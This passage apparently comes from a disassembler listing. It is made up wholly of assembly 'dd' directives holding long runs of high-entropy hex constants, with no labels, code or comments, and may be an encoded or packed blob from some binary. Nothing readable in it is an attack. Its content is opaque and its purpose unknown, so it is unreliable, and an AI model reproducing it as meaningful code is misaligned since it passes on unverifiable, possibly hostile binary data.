		dd 820AE19Bh, 4251AB99h, 0F91CC021h, 9F0504BFh,	0A8F32869h
		dd 48D2CB84h, 5279C8h, 0CBF33A4Ch, 4D62712Bh, 242E50B5h
		dd 101C9773h, 24898086h, 9A51E933h, 88694B94h, 0FB007948h
		dd 588DDF18h, 58CC84Ch,	0C4639E6Bh, 0C0A43089h,	600E8ADh
		dd 51CB5542h, 13E00EBDh, 0A2C7196Bh, 10761E64h,	0FBC152C0h
		dd 0B8938A1h, 41C2F835h, 0ACB6D8E6h, 0B762E360h, 9A41C012h
		dd 26F866A7h, 5DB86E00h, 9ED62834h, 0C45C0BF2h,	9C870540h
		dd 0A4B2BFA4h, 0EC75FC68h, 0B7BC7513h, 13B58C20h, 33811323h
		dd 369900AFh, 0A24250DAh, 0A9EAD507h, 0C6E4F887h, 804BEEC2h
		dd 0DD19D8C4h, 80C894D9h, 0C10AC80Eh, 3908E5D2h, 412CF6Dh
		dd 0A406D594h, 28275640h, 0B82810FDh, 0E19100EDh, 9CE44CA8h
		dd 8500BB6Fh, 11426B96h, 16CF0AF5h, 1364871Bh, 0F05B1068h
		dd 0B2F8EC00h, 450749BEh, 2F596100h, 0C50AF281h, 2A2FC0Dh
		dd 0FE7202E6h, 0B4C43D28h, 5E9F7B14h, 0C0A425E8h, 0F9B7E0h
		dd 330F6C5Ah, 21641C9Bh, 0C15FB202h, 40E42CC5h,	0A2962ED9h
		dd 0E47409C0h, 576E0018h, 0F3146C12h, 0CD4C0917h, 56BE00D8h
		dd 8478A1C5h, 0A0380325h, 0BDD4646Ch, 30D96839h, 83E27006h
		dd 80041DDEh, 4C27494Eh, 803BD879h, 82B64790h, 1552569h
		dd 8A9CBBA1h, 337EF054h, 4C4E00D8h, 0B035C58Eh,	84901Eh
		dd 0A22EDFFCh, 6E894686h, 4441D95Bh, 0A87A9AC8h, 0E2001039h
		dd 4DBFFD46h, 5E7D399Eh, 310F6A00h, 7FD242B7h, 64C7011Ch
		dd 0C1278BC2h, 0AC203B53h, 4FED74h, 47665E9Eh, 17807146h
		dd 9D3DA903h, 5FCE16Bh,	546099E8h, 28A23Ah, 0AD0B3FFEh
		dd 5F07D5h, 716C14EAh, 733C3D5Ch, 0C87EA72Eh, 20D1750Eh
		dd 0EFF3EB7Fh, 5C374828h, 1898C78Bh, 8EE291BFh,	5DE84200h
		dd 0D6E4F427h, 0E360EFA1h, 7C90A860h, 0A6F20F90h, 9B27AD14h
		dd 0D864E1B7h, 0B2D420ABh, 0A93CC80Bh, 0A0D8464Ch, 96DA16BAh
		dd 0C9B18118h, 0E48D0E2Ah, 1439FFE5h, 0B32904FAh, 0E0EDB72Bh
		dd 21164C00h, 85A8A774h, 4EA15A07h, 0A9D26CF2h,	24841251h
		dd 56C240B6h, 7B8418h, 0E65C9F7Dh, 0E75F8D3Eh, 2804FC00h
		dd 0D1EDFD81h, 0E2F324C7h, 0B7EA0F7Ch, 0C8F57199h, 0EF00A61Fh
		dd 0BF2F15E8h, 16EC257Bh, 30389AB1h, 0FCA6CF18h, 244CD900h
		dd 250A03AFh, 0B449027Bh, 0D0B14569h, 3900CCD2h, 40C10C30h
		dd 2F5F9F64h, 3C1950ACh, 0BAFF10B1h, 540618E6h,	19B99025h
		dd 4880E212h, 8622F408h, 0B8C136C9h, 0AF95B816h, 8759B480h
		dd 1F3F27A5h, 0D6001CE6h, 0DAB9EB49h, 90174B1Ah, 74F00064h
		dd 7F56A0D5h, 5E148B92h, 3C485BACh, 0FE8C8587h,	0CD1586Eh
		dd 0B4205FB4h, 6B86023Eh, 0F81A3FD8h, 1E1C60E6h, 0BF4E51A2h
		dd 4586E02Ah, 16F1C48h,	0E765B318h, 70127953h, 0E8B1197Ah
		dd 0F83E6180h, 0B64FE1h, 4A6687B2h, 0AE4363AAh,	0DA514D2Ch
		dd 5C5AAC1Dh, 0CC4631h,	7C7531D7h, 0A0C82A22h, 533DD00h
		dd 0E7F96B25h, 565D019Fh, 1AF7767Ah, 3874207Bh,	0B864DA44h
		dd 11360138h, 0D6E3D270h, 0C1107C10h, 0B852E7E0h, 20165E0h
		dd 0FFEC923Fh, 40A0A691h, 5A75A3A9h, 3D0004F6h,	6B455E54h
		dd 4BF5263h, 805D9AC1h,	8398B8C0h, 0A0023BE0h, 95A04Ah
		dd 1C330375h, 0DD93BE1Fh, 1B0BE09Ch, 0D5E082BBh, 511C80D7h
		dd 9A22D7Fh, 0A09CDCACh, 8C0EA0F1h, 837A2046h, 0E3D615h
		dd 586F5C5Dh, 0C8F8547Eh, 0D259D512h, 0B59B5890h, 76050521h
		dd 0B0492B2h, 0E4B042ACh, 4A7A5B74h, 5861E413h,	521EF4E2h
		dd 0BDF14039h, 0C7EFF030h, 3D81953Dh, 9C3D0E54h, 0D880E1E8h
		dd 86943A9h, 0CBFCED04h, 88E940D5h, 0F86DA10Dh,	9D630FE5h
		dd 0DB44C468h, 0C05C845Bh, 60E322Ch, 8093243Ch,	0C5F148D3h
		dd 252FCB5Fh, 0E491CC35h, 49901721h, 506A3C31h,	8210D1h
		dd 74BE600Ch, 7B034DE9h, 80C0D258h, 966A45F5h, 51B01BAh
		dd 0EED44642h, 471871A4h, 5C052B08h, 0DC4001Fh,	6DDAFA0Ah
		dd 5AF880B0h, 7A968302h, 64D0A8E3h, 0C7DC01F8h,	4BDDC471h
		dd 0E788E07Dh, 8D5A6800h, 96AB1932h, 84EC0F99h,	69A21149h
		dd 90984EACh, 575FA9E2h, 0C3D45020h, 7C2000AFh,	0C8460C36h
		dd 989A416Ch, 40A3926h,	0C30F0900h, 125C2C04h, 0CA5AA9BDh
		dd 0B14D00F4h, 18CB7B50h, 7F1B05C9h, 85F54ACh, 7C832D14h
		dd 0C16BB07Ah, 85C44947h, 0F1FB4C1Fh, 0EA8BD039h, 10C4A9F1h
		dd 690A7700h, 9BB6B9DFh, 0C6C41E5Bh, 9E3DC02Bh,	0E4CB3C1h
		dd 597B6804h, 44E5B2B8h, 7F64213Bh, 0E42E009h, 50E078BCh
		dd 7B90851h, 2ED37059h,	0F9767323h, 8DEFC4C0h, 3A5F4D0Bh
		dd 2614C8B7h, 54911F5Bh, 589C80A9h, 8F3866DCh, 61414C07h
		dd 5BA0E07Fh, 0E869CFCDh, 8B5F1EB8h, 60AED3h, 0C2FF5910h
		dd 0B527F105h, 74AC6869h, 40A0BE08h, 306A8D06h,	907ABA25h
		dd 0FC0388F8h, 69C80489h, 5E3605D5h, 0B46D2A4Ah, 0D2133824h
		dd 66C68820h, 71AE26Eh,	0E43E27D8h, 1D13514Ch, 56ACC4E2h
		dd 0B8A7F4A0h, 31521B0Fh, 94705642h, 1280E561h,	0D2A63628h
		dd 0A0206084h, 3BC15Eh,	5D235772h, 0AC968BD8h, 0AB591203h
		dd 0E86D07D7h, 1B57533h, 50B95B18h, 30BBFD2Bh, 0F527E37Ch
		dd 80E0920Fh, 0AC4156E1h, 846603CEh, 0B5AD77A1h, 0CCDC40F2h
		dd 0EC22A845h, 0C3549049h, 0A14600B8h, 0DDC66F75h, 2898C712h
		dd 0F3D59E16h, 0DAD99422h, 57C600CCh, 7E91695Eh, 712DF8ECh
		dd 0DC5810CFh, 7CF4073Ah, 0D020E773h, 0A507C9E6h, 0C5FC531Eh
		dd 0FA04289Eh, 18A2A359h, 0B600CC22h, 0F6F2A7AAh, 0C40D848h
		dd 0D4A1DDC1h, 0E9093F0Ah, 72DA7039h, 13A600CCh, 0F714B288h
		dd 45A9DE6h, 6C4B5900h,	4CFCD249h, 0BF17326Eh, 7F3020F0h
		dd 0D8E79D11h, 0AB0FD7B3h, 6080E7A1h, 6CBD5442h, 0C8EF5AEDh
		dd 5F03D418h, 9589C427h, 0A080D5B4h, 96ECE7C9h,	9BCD833Ch
		dd 0F8A816BCh, 8703EB21h, 47B48D41h, 405087ADh,	99F0CA42h
		dd 0D5D80114h, 30164AE6h, 25E88F77h, 0C45EC3A2h, 2D872F80h
		dd 6BC1B93h, 48673219h,	0F92198B1h, 9A8300D2h, 3F11B6CBh
		dd 0B2B99700h, 93A33018h, 8A3940D2h, 73C45D00h,	0EB7606AFh
		dd 0CCB800A9h, 0C1A1E751h
		dd 0BC52597Ah, 0F53300E8h, 604DDFB3h, 0E4EB03EDh, 302F9A66h
		dd 62FA2103h, 983641EAh, 487E92E5h, 49CEACD1h, 0B52250E0h
		dd 60B86402h, 0A469FB28h, 754CBB05h, 34AC45F9h,	68171080h
		dd 3000F83Ch, 0F7842023h, 0C05AECDEh, 40AF0B21h, 0C70E3E82h
		dd 0C5C5E1E9h, 0DA033F27h, 0D00F9938h, 2CA9CF98h, 48E002h
		dd 845706F0h, 0D5278B85h, 0BBACA3EEh, 32A1C061h, 7410B51Ah
		dd 0C50031C6h, 9F038CA7h, 258E284h, 0B922EC36h,	34E06F3Ch
		dd 0ED130C81h, 0D8D0CBE7h, 5B53EDDh, 4C0B95E0h,	0C4584019h
		dd 0CB200310h, 77A3970Ch, 0E117C475h, 950E8BECh, 6C483C10h
		dd 859AE824h, 5803342Ah, 2B288451h, 58694CCEh, 35B212h
		dd 922362F8h, 7701BA61h, 0C72D465Ah, 303FD9AAh,	0F79828FCh
		dd 0F820134Fh, 9DD5415h, 3D2F5AFBh, 4F80C68h, 7BC9BB0Fh
		dd 0D5CADC0Ah, 2F0B240Ch, 1AC9A2Bh, 0F2AACDE0h,	79515C40h
		dd 5E633CFDh, 0A4A01D82h, 0E041ADFEh, 0E87A10BDh, 0CCA117F4h
		dd 0FEA0883Bh, 0D7018677h, 35065928h, 94784A73h, 6BE93080h
		dd 6201B6ADh, 273246ECh, 8C4E75Ch, 0B965000Dh, 0F6D1964h
		dd 9A5A18E8h, 870E5CC0h, 0E9360342h, 0C84BFBB4h, 6C63B000h
		dd 6CBDF48h, 0C2250F0Ah, 7A00ED65h, 64A15E0Eh, 330F2E07h
		dd 0CAC26B1Ah, 3F1C401Ch, 68571CFBh, 55BDD67h, 8C9C0312h
		dd 5D01B9C4h, 8F67392Dh, 7FDD6F9Fh, 48C6D1C3h, 0ECFC203Ah
		dd 0C009815h, 9D62E11Eh, 12FA76Dh, 0A107087Fh, 6032ED1Bh
		dd 2C134268h, 0F6FF96h,	11C40C24h, 0D61A0BACh, 859090D9h
		dd 0B07B4CAAh, 5C1C1717h, 3A1900F0h, 699CDCA9h,	0A2097900h
		dd 802BBE57h, 3E9F06Ch,	36895E99h, 492FAD59h, 0D07C9338h
		dd 248C780Dh, 113CBCFBh, 0F4D612C2h, 7E589C22h,	7F803D30h
		dd 574C7AA5h, 0B84AEC04h, 0DEFFEFC3h, 0B1E01920h, 129FC0B5h
		dd 8020D6D2h, 0D466ACC9h, 74015539h, 43756F63h,	70F01642h
		dd 98A95BEDh, 180E5BC4h, 601433AAh, 0A7509FCh, 51BB0FF6h
		dd 55A93D15h, 0C9587446h, 1FDAC0A4h, 239001h, 132D765Eh
		dd 4A8A3558h, 50782C01h, 4FA90585h, 9A026472h, 0F3D6E16Ah
		dd 0BC411454h, 0E860C991h, 388609CBh, 38001E2Ch, 0B40BE663h
		dd 8E06C60Eh, 0C4780B03h, 0BE9A00FCh, 2AB1BC2Dh, 5C011241h
		dd 30195A71h, 142854A9h, 0B21AE384h, 85130098h,	983E453Dh
		dd 41670B5Dh, 4E80C435h, 363C0D7Eh, 4739FE04h, 0C4F142E9h
		dd 8394273Ah, 0E4D82E87h, 9700A85Ch, 0D8288246h, 26E0B88h
		dd 5F3D0841h, 9454362Fh, 1C33EA60h, 0B3CD009Ah,	0AB634788h
		dd 0F0C7B40Fh, 0A9A141E1h, 14706905h, 0BB591002h, 744C84AEh
		dd 4E2C3053h, 9F4A7946h, 0F1DC6ECh, 0B0FFD258h,	1103B588h
		dd 69C370A1h, 0ED99C8AFh, 7B1B25E9h, 0BB0014E4h, 0C4E79B68h
		dd 0F256A33Dh, 91300928h, 2C006BADh, 0C2970DDBh, 0D6194104h
		dd 0C4CCECA1h, 0FC1AC067h, 565781B0h, 0F750407h, 0C1307AA0h
		dd 286A77Dh, 9A7B1A30h,	0C15669h, 0EAB834E1h, 0F175F0E5h
		dd 358F38B9h, 29790019h, 97CE5FEFh, 0F64FBC20h,	4D009DAAh
		dd 1E74E07Dh, 1EEC8034h, 33AA12Ah, 670E28CCh, 0D9F0B00Bh
		dd 0D1D009C8h, 2259004Ch, 2AF1266Bh, 0B49E3600h, 4304EB86h
		dd 1C640EC2h, 0AC81FD91h, 238A742h, 4C599Fh, 0D9741E34h
		dd 794E4F44h, 0AE006CA8h, 8F95BDBCh, 920043CFh,	0EB69A2FDh
		dd 530CFEh, 25D1ED9Ch, 36573151h, 26C70300h, 28183DA9h
		dd 7020952Fh, 0E1EFE801h, 0E020B74Ah, 3D8FF6Dh,	7DE9E272h
		dd 8FA0A048h, 0A8006E33h, 0A4FEDF3Fh, 231EDDCh,	0FFECFCE0h
		dd 0A07E55EFh, 8406F109h, 0C0E6ABC5h, 0C30ACB03h, 0C8A4D522h
		dd 6A00BB68h, 3D973304h, 0C9D86Ch, 0F7ED898Eh, 0AE596587h
		dd 68E018B7h, 80D8BCD9h, 1FE68C99h, 0F901B19Dh,	43FA4505h
		dd 1720DFBFh, 207A4F28h, 1BD2A194h, 0D80A9E05h,	0C08C62F1h
		dd 9B190072h, 0E033E415h, 6824E9E5h, 4F616C8Eh,	46D4E883h
		dd 0FD172C23h, 6A69830Ch, 0BBE962F3h, 0FBA820CAh, 6B7852E2h
		dd 1B44FC04h, 2888CE53h, 0E44209FFh, 0D464C998h, 99FAD873h
		dd 253B13Eh, 56A23AF3h,	0A851B2h, 22F5395Eh, 959C5Dh, 0B4D467A8h
		dd 0FD51664h, 0D1D43212h, 0B8592Bh, 85C08FBFh, 1A14BA4Ah
		dd 0C09C4252h, 0DE0BD3F2h, 0E06008Ch, 2F7976B1h, 272A9C9Ah
		dd 0E574402Ah, 4668C402h, 7669C287h, 0B2450430h, 0E574E1F2h
		dd 0BA59116Dh, 25EB42Dh, 0F363D674h, 3040045Ch,	2E382EAh
		dd 50C85A32h, 0F876352Fh, 3BE2E06Fh, 0FC7FB248h, 0CE582797h
		dd 79D634A0h, 190005F7h, 9740C0Eh, 7D257D9Dh, 5CF2144Ah
		dd 71C0E87Bh, 0BB8DA1E7h, 0FF133300h, 0A2837FC1h, 0A5B430B8h
		dd 0A8055758h, 7A530205h, 58B5B059h, 0ED877820h, 1B007439h
		dd 0E76A4098h, 4F4CE97Bh, 0F649171Ch, 41BAD000h, 0E24205ACh
		dd 0BD020179h, 5CAACAA1h, 0EC5ED606h, 590A1826h, 3D8730B7h
		dd 0B03828B5h, 0E8431F9h, 1664039Dh, 9B7CE834h,	80754E72h
		dd 33E33D68h, 0C0CD6701h, 2DF30462h, 16E43030h,	0A29AC780h
		dd 0CE057B0Ch, 93B59DB1h, 50050BCh, 6C4B434h, 0ADFEA27Fh
		dd 0D0E8D828h, 0AB2D417h, 82232C08h, 0F1D575BBh, 0AC67D890h
		dd 0E8B4119Dh, 867C206Bh, 0D100F198h, 0BBB99FCDh, 389585D4h
		dd 6F843311h, 0ECD90B4Fh, 0FD0E0270h, 791B2841h, 196800D8h
		dd 11D6914Ch, 9F0043F8h, 569807F2h, 0B83F37B8h,	0BD040034h
		dd 48DCB2B4h, 0A505A940h, 4FAAC085h, 0EA2AF8EDh, 6086027Ch
		dd 9CD81345h, 95033846h, 3A250E7Dh, 427AF8F8h, 90494AACh
		dd 9CBBA054h, 0B5223098h, 0F12C3CB3h, 1408B828h, 9006AAC7h
		dd 317BCAC7h, 73D553C6h, 7F5600C8h, 62B8C7D0h, 919F7D65h
		dd 0DCAD0020h, 1AB4FEC5h, 0E0D01417h, 73CEDC1Dh, 0E98958E3h
		dd 79F0167h, 1D2C1317h,	7E48F03Dh, 34C0AE4Bh, 0EFD3A050h
		dd 65F870h, 197449DFh, 0E953249Ah, 90403BF7h, 7EABF2A3h
		dd 0B45D2C6Ah, 53B0031h, 575F04CDh, 0DCF93304h,	50A543A9h
		dd 3982746Ch, 80DD0C8Dh, 52E3613Ah, 5433EB3Fh, 714B2B00h
		dd 0E5B39F98h, 83048175h, 2C2F58FCh, 0EE2114A2h, 0FC1E6601h
		dd 566EBC59h, 4F188834h, 18124400h, 0F0CFD202h,	539F0541h
		dd 0B28B2C3Ah, 0C007C4Ch, 4230D0F3h, 8E8A6h, 0E60D07B0h
		dd 759C4D52h, 7461EA12h, 28E2C000h, 73BBE481h, 47C09480h
		dd 0ECF1B083h, 31E5377h, 0E707FD7Ch, 0AF20694Ah, 0BE60AFEh
		dd 0A3596084h, 0C013C451h, 27A6088h, 71D499F2h,	64CED524h
		dd 0BD8F348h, 7994C99Ah, 0FE100E4h, 0A1DEDDB1h,	4B3F900h
		dd 843B56C3h, 0C5826CCh, 287161Ch, 94FA0DC4h, 610458F4h
		dd 64E8D560h, 5154C981h, 801C7C34h, 42B48D1Bh, 0FF4D5C2Bh
		dd 59102804h, 970E9A2h,	0F8EF7BEAh, 69D7CA0h, 0D3B92DC3h
		dd 0AF1260FEh, 6431D541h, 0B82C65F1h, 22E7CF80h, 0ED002F96h
		dd 0B590FF8Ch, 1E14DBCh, 88C75763h, 50C82C28h, 0A14552E0h
		dd 8C27C404h, 8CFC53C0h, 0F0462287h, 622F1B58h,	0BC02AF78h
		dd 0A15901C9h, 0D23802E6h, 71806854h, 6F5D1774h, 458F3FC8h
		dd 0BA6B1C00h, 0CEAC69Ch, 501F4F0Eh, 89B649AAh,	0E1E082C0h
		dd 0E8B4C025h, 80E55035h, 48C788B3h, 9BFF841Ch,	36561100h
		dd 2DB1C612h, 0C49055ACh, 0A40106E2h, 17796366h, 406728E5h
		dd 8B4BD109h, 0B5439CA4h, 9D547C24h, 84EE86C0h,	595DD159h
		dd 32009425h
		dd 0EC640672h, 5A4B4189h, 4DA20421h, 1FD86FCh, 3D2D6311h
		dd 600F7B71h, 1C7BB44Bh, 0F3E839h, 9F028157h, 7850248Ch
		dd 16BC3ABFh, 0EA8DC880h, 0C6CAFC0Fh, 0BB6FED01h, 0EF9D99EBh
		dd 3A204CCh, 0CB66BE6Ch, 0E3FA5B12h, 4881E0D1h,	74466991h
		dd 44FB8840h, 0C0A6A7h,	0EA73D5A4h, 85BB9408h, 4AF01D09h
		dd 36220088h, 2863BCE1h, 1C8CDB3Ah, 560440C8h, 6B484952h
		dd 78DC2882h, 0C42084E0h, 0E0C9435Eh, 0B7601240h, 4D2D00F6h
		dd 0B1738C37h, 3B395FC7h, 9F589EFBh, 200C6C57h,	5EB60E0h
		dd 2887C91Ch, 31C86029h, 0F9E86521h, 5100427Fh,	0B84DBB07h
		dd 9EE25D26h, 906580DCh, 121142C9h, 59D65209h, 4E247AADh
		dd 107040D2h, 8460E3BFh, 0CE69FD08h, 0AABD80D9h, 70895B6Ch
		dd 0CFCA7D00h, 9D96A182h, 3BFB3DD9h, 0CDBBC280h, 0B0854C3Eh
		dd 50C8984Fh, 0F124E050h, 326EF4h, 45EAF6D8h, 0EC820628h
		dd 0C3018705h, 9800577Ah, 351D9004h, 0B4EA1CCBh, 0E8DF006Ch
		dd 0A2EFD527h, 162A603Ch, 0EC02A7B6h, 781595D0h, 74F050B8h
		dd 0B1A3006Fh, 90EA5A98h, 8412ECEBh, 0D4A22E17h, 83269300h
		dd 51BF4248h, 81EC0D3Bh, 0EF31C408h, 0ED431B4Eh, 0A9D2F002h
		dd 598A614Dh, 6878FF59h, 99F38014h, 3F2E1DD2h, 4B09D1A2h
		dd 0AC983EB3h, 700082A4h, 0DFA80AC0h, 7CA6472h,	6BBBF8A3h
		dd 58957253h, 51037C51h, 0F540C973h, 5F78F0h, 9A1C4270h
		dd 7B196987h, 0EA8D252h, 0C39185CEh, 887E3739h,	9C8236h
		dd 0E5AE0D7Fh, 6C2A154Ah, 805E553Eh, 0F22C81EAh, 5886EFB2h
		dd 0F31CCC40h, 0EE0A8408h, 0EC14C2E6h, 7838E863h, 8496A463h
		dd 46261800h, 0CB8F51ACh, 9CC09ED1h, 1A07EB88h,	5380675Bh
		dd 0AC225040h, 3D081C71h, 0A2C04051h, 0A105E6C9h, 5E39E205h
		dd 0A0A8C3BBh, 519B1C80h, 8628F76Eh, 0DC00E4B5h, 0B4E7F6CAh
		dd 16D32BFh, 0B30205BBh, 634526E3h, 71EC0034h, 0AE6FD921h
		dd 0B65927C6h, 0F9E8FCE9h, 4108116Eh, 0D2D7F0h,	60672EE1h
		dd 0E89707C6h, 180933E8h, 56A09448h, 60C42E78h,	0E28D6632h
		dd 3495E0A4h, 2672F4E4h, 1940A5Ah, 58A77B9Ch, 48D8E632h
		dd 0B9281A0Ah, 0CC00A814h, 53C4A6BEh, 5F827F38h, 72008805h
		dd 0D9B7A900h, 9C1A37CAh, 44989FEFh, 7D07B807h,	0F612A002h
		dd 8EB97737h, 3832F73Fh, 0FD51C0CFh, 92630128h,	8BADD569h
		dd 99A1F45Ch, 0E042D924h, 0E5AF8C60h, 0D81700A5h, 1FDD13E9h
		dd 0BE70EF02h, 80C4543Dh, 6DCAA283h, 4BB3CE7Bh,	355840E2h
		dd 0ECADD74Dh, 9B7CDF1Eh, 9CF75340h, 17C7D90Fh,	0B431002h
		dd 0E8986930h, 0DD0017D7h, 3D32030Eh, 3E62FE5Ch, 18703447h
		dd 29ABD998h, 0B007204h, 0E982546Fh, 130A30B7h,	0B2B851Ch
		dd 3C46F47Ch, 8432D825h, 0DCAC670Ch, 16C50AC0h,	0C2000F93h
		dd 480DB96Ah, 0BB74419h, 0FE247547h, 52761401h,	63884C41h
		dd 0DCCA6F00h, 5A86A271h, 89AC01F5h, 0DFAAEEE9h, 858EEC06h
		dd 5DC7EA02h, 0F622110Bh, 0DEE30560h, 1CF409EDh, 0B85BF480h
		dd 664FF4CFh, 0E850D023h, 671ACEh, 3F74B91Eh, 0B8C028A9h
		dd 0E14740h, 2FC2461Bh,	0F8EC1281h, 0C0D8E327h,	1221853Ch
		dd 0A893C152h, 7D5B01B8h, 54438A8Bh, 0D4ED8082h, 6472D14Fh
		dd 720082B0h, 0F6DD6AFFh, 9CC1F379h, 43194060h,	9502F7E9h
		dd 0C5DEFEFCh, 0D7A660B3h, 5EDD17CEh, 6FC4881Eh, 9D85FB3Dh
		dd 7A032E8Eh, 0D89F6E58h, 956A21h, 0D3C20A8Ch, 0A9DC7BC1h
		dd 448A555Bh, 0FDCD3A00h, 17781956h, 0F18B3100h, 0A4AEF02Ah
		dd 7CAA010Ch, 0BBDD5105h, 0D4844072h, 68918088h, 645E4D8Eh
		dd 95C16901h, 36F8E854h, 0AC6C3BFDh, 0E87182B5h, 69C09D68h
		dd 83BB3EA6h, 0DDB00032h, 0CC9FDF23h, 970248A5h, 0E9927620h
		dd 0E90716Ch, 0BBC023D1h, 0B19980B7h, 31B61200h, 58D76287h
		dd 88FE4A2Bh, 0D500AFC4h, 5A51E09Eh, 0B93803h, 6D27941Ah
		dd 3FD23149h, 64BE8325h, 88F900CCh, 0E87B39F1h,	7402B684h
		dd 30EA3438h, 1D24513Ah, 663740E2h, 0D7BB4633h,	0C6DF700h
		dd 0E13ADD2Eh, 67430490h, 0B410D6E4h, 0F3F8609Ch, 4AF70F02h
		dd 603C058Eh, 0B587F638h, 83C64890h, 13AD8D00h,	0BE0C2F1h
		dd 0EC695C3Ch, 0E6957222h, 122C3CA8h, 0E825B525h, 3324C0EDh
		dd 0C2129105h, 98A870BAh, 2A0EF68Bh, 0D880880Eh, 0A99005A5h
		dd 2C855428h, 51CA8709h, 75009A4Ch, 0E4367838h,	0D08BA100h
		dd 0F0E70FACh, 75332869h, 0A213F7ECh, 121AAFA0h, 0F5DEB804h
		dd 54C0B65Dh, 4A285736h, 353021F8h, 0CD23CCD6h,	0DE07DC00h
		dd 9CE0922Fh, 7E5FA03h,	0E37A157Bh, 0A13DC2F8h,	0A29A90A5h
		dd 0FB2300D8h, 6A895FE7h, 3B8C00BFh, 0ECF8D04Eh, 0EF0014A8h
		dd 0E95344A6h, 9448AC64h, 0D0055070h, 781CD900h, 71176169h
		dd 387DF251h, 8C0558F9h, 0C2C0842Ah, 0A920BDB0h, 2E404C05h
		dd 13D8687Fh, 8090AC02h, 2A5DB049h, 0E5EA1F39h,	0CB754042h
		dd 8A416D7Fh, 69A0FB00h, 7A5AD2BCh, 0A1D61211h,	0FACF8CCh
		dd 7D5A732h, 0BF8051C0h, 27FF5C96h, 0C8D9EAh, 0E800C3B9h
		dd 0B2819FEFh, 1756BDD3h, 27D148CBh, 0AB0220F8h, 0E6819D29h
		dd 6030303Ah, 0A4005156h, 0A879BA1h, 55BA8D5h, 0A98C2B41h
		dd 0D094D1E7h, 0BAE080ECh, 0AB23BC60h, 66141F3Dh, 0D195010Fh
		dd 62CB125Eh, 6BE31C6Ch, 2C1B9CBEh, 2BD5E280h, 2C974321h
		dd 0C1C8B859h, 201B9DB5h, 680CC14Ch, 688F7C0Ah,	7C78DF17h
		dd 0D2D1470Ch, 20032659h, 0DF7A0677h, 3255986Ch, 6D192DCAh
		dd 673DC000h, 9C943828h, 5C1F9492h, 0AE0861DDh,	1B3583B4h
		dd 30003176h, 3674A14Ch, 1B2379Fh, 8477665Ah, 30E5D8ADh
		dd 9A888A80h, 93410085h, 0C668FF59h, 7104B8A0h,	2856C2F5h
		dd 6D1803BFh, 3DBA7867h, 0E287B4D9h, 9AF01535h,	0BDDAC68h
		dd 9DBFB856h, 42049C7Ah, 5F9F1B28h, 1DF820AEh, 0CE00DC80h
		dd 23D7824h, 39D684F2h,	4AE3C82h, 0F4120431h, 3F52C1E0h
		dd 8C272E1Eh, 7861807Fh, 34E0495h, 0C13DFD7Fh, 211356F0h
		dd 68AC0824h, 720564ACh, 0C45723F3h, 0F8E1F8C0h, 0FFE70C21h
		dd 8BB8583Bh, 0F66F4902h, 0C657A930h, 25E800D4h, 812887C7h
		dd 0FF13ECC0h, 0B83052B5h, 0E209982Bh, 54E8DDh,	31E181A7h
		dd 92E3C9D4h, 55482109h, 28F1B7h, 1A35CFA8h, 0A0B0BD2Ah
		dd 2391A4B6h, 814BD24Ch, 5FE368C4h, 1A5B1284h, 4105F800h
		dd 3D16CA2h, 0D6E7EF7Bh, 511329F2h, 0C95352Fh, 408E030h
		dd 833B0099h, 2712248Fh, 9F2CF46h, 0F40F5490h, 857ACDACh
		dd 0DC8D4168h, 1FC2F6F8h, 1CF9481h, 3ED8BF77h, 0D4782125h
		dd 0EF3C5E54h, 60CCCF28h, 1580031h, 0CB33BA86h,	0A03D735h
		dd 25C49FD2h, 0D92FA27Bh, 0EA660A98h, 0F4D60B80h, 560FCCF1h
		dd 54A217D5h, 0C34A0D80h, 520051DEh, 0CBBB675Eh, 5D1B16E3h
		dd 0FE802865h, 0EFA8BA95h, 0F6818800h, 0EA3DA32Dh, 0EE512CB9h
		dd 6D490838h, 7A2891BDh, 0D2A4005Fh, 0FF240B53h, 123DC709h
		dd 314D129h, 2770E179h,	0DB2DF8E8h, 5861E7h, 315B1A50h
		dd 17D041F3h, 72CC3042h, 0A1C188h, 0F9B839C8h, 8AEA60AEh
		dd 891AC039h, 0F80C3537h, 0F4F11774h, 2688F606h, 59091BFFh
		dd 1E479A2h, 2BEEC609h,	0CDE82095h, 0D349AA13h,	843C08h
		dd 35BEED0Dh, 600964CBh, 54EC2882h, 36A140A8h, 19004B73h
		dd 571EB4D1h, 1C8DE8BDh, 8F9FC2F8h, 88171D35h, 234CB89Ch
		dd 0E5AC0194h, 43A9182Ch
		dd 0B0E4217Fh, 0E08A3BB7h, 0EFEE0A0Bh, 363D2844h, 0C0C580B7h
		dd 0E9408EDCh, 0B6A47229h, 50F547F0h, 486A5643h, 5E4FBEF6h
		dd 2E18C8h, 0A3768F79h,	0B5DB334h, 5C58EC24h, 1C889C00h
		dd 4B89F66h, 28E72677h,	8461BB32h, 0A0304B01h, 68B8BFA9h
		dd 780163DEh, 0E994C92Ah, 41CC65E4h, 47F20328h,	6058BE50h
		dd 2020AFC4h, 1DDACA5Bh, 4156E322h, 539CA049h, 0E0AE2057h
		dd 0D89A1C28h, 0E9477007h, 0C30D2A2h, 1511760h,	0A3D5A150h
		dd 3B498AE4h, 246BA080h, 0AC5227DEh, 0FD0164D9h, 0EC668942h
		dd 9030DDE4h, 88C8FA50h, 0C7B88451h, 0E495697Ch, 927100h
		dd 7765DE9Eh, 0E21075EBh, 7C6C8500h, 9B63256Dh,	38469772h
		dd 23697904h, 90BCF1BCh, 0A7B2602h, 0FC590DE2h,	3A89B900h
		dd 473DC78h, 0E9ED7B47h, 63AE20CBh, 7B57FE68h, 94E5005Fh
		dd 55C8B0B5h, 0E00C449h, 6BA1733Fh, 0FA075AC1h,	0B7F5B8D5h
		dd 9CF87C10h, 0A22D8001h, 7BE2360Ch, 57000423h,	71F5F2A4h
		dd 820BE988h, 0D802812Fh, 0AEA003Ch, 8C3E5FC2h,	555FD0B8h
		dd 99674420h, 68B51CD3h, 0AD858746h, 0C1EEF5ABh, 20EF4550h
		dd 90445AFCh, 0B9321CEDh, 3F6AC02Ch, 0C0B42E0Bh, 4697AA7Ch
		dd 37183E04h, 74D0CE11h, 0A832A500h, 0F2733D76h, 529E12BBh
		dd 9AE8A005h, 0B0959830h, 0B9B459C4h, 48824ACh,	0F9CE4807h
		dd 0C20079E4h, 0DC1B1CC3h, 74E466F1h, 6CFA9Ah, 44198247h
		dd 3A75A165h, 0CA0BB074h, 0C250CFh, 72E90F0Fh, 529A12A7h
		dd 8444E4CEh, 625DAF00h, 46E898B8h, 0E9FE1789h,	8FCF008Dh
		dd 0A3F2367Eh, 2C61E024h, 0ED022D05h, 0C204D0C0h, 147A02F1h
		dd 5BD2A118h, 1CB93840h, 0C809E5Eh, 5CF4604Fh, 9C122A44h
